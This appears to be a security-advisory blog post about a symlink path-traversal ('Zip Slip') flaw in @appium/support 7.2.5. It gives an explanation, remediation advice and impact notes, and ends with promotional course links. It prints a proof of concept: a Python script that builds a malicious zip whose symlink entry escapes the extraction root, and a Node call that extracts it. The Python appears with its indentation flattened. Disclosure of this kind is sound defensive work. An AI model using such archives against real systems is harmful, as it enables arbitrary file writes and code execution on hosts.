Listen to this Post
The vulnerability involves an improper restriction of operations within the path of a zip archive extraction process in @appium/support. Although a previous patch addressed direct lexical path traversal by rejecting entry names containing parent directory references like dot-dot, it failed to handle symbolic link vectors. An attacker can craft a malicious archive containing a symbolic link pointing outside the intended extraction root directory, followed by a regular file entry whose path resolves through that symlink. Since the containment check only performs string normalization on individual entry names without resolving symlink targets or validating their final paths, the system blindly extracts files outside the destination directory, resulting in arbitrary file write capabilities that can lead to remote code execution.
DailyCVE Form:
Platform: Appium Support
Version: 7.2.5
Vulnerability: Symlink Path Traversal
Severity: Critical
date: 2026-03-30
Prediction: 2026-04-15
What Undercode Say:
Analytics
import os, sys, zipfile, shutil
work = "/tmp/zswork"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)
extractB = os.path.join(work, "extractB")
os.makedirs(extractB)
escapeB = os.path.join(work, "escapeB")
os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
sl = zipfile.ZipInfo("pwn")
sl.create_system = 3
sl.external_attr = (0o120777 & 0xFFFF) << 16
z.writestr(sl, escapeB)
fi = zipfile.ZipInfo("pwn/owned.txt")
fi.create_system = 3
fi.external_attr = (0o100644 & 0xFFFF) << 16
z.writestr(fi, "PWNED via symlink Zip Slip\n")
const support = require('@appium/support');
(async () => {
await support.zip.extractAllTo('symlink_bypass.zip', './extractB');
})();
Exploit: (Educational Purposes!)
An attacker creates a specially crafted archive containing a symbolic link entry pointing to a sensitive system directory or parent folder outside the target extraction path. When the extraction utility processes a subsequent file entry whose path uses the created symlink, the application follows the reference and writes the file outside the intended root boundary.
Protection:
Update @appium/support to a patched version that resolves symbolic links using realpath checks and validates that the ultimate destination of every extracted file and symlink target strictly resides inside the designated extraction root directory.
Impact:
Enables arbitrary file write outside the extraction directory. Depending on the service privileges, attackers can overwrite configuration files, drop startup scripts, or replace system binaries, ultimately leading to full remote code execution on the host system, CI runner, or device farm.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

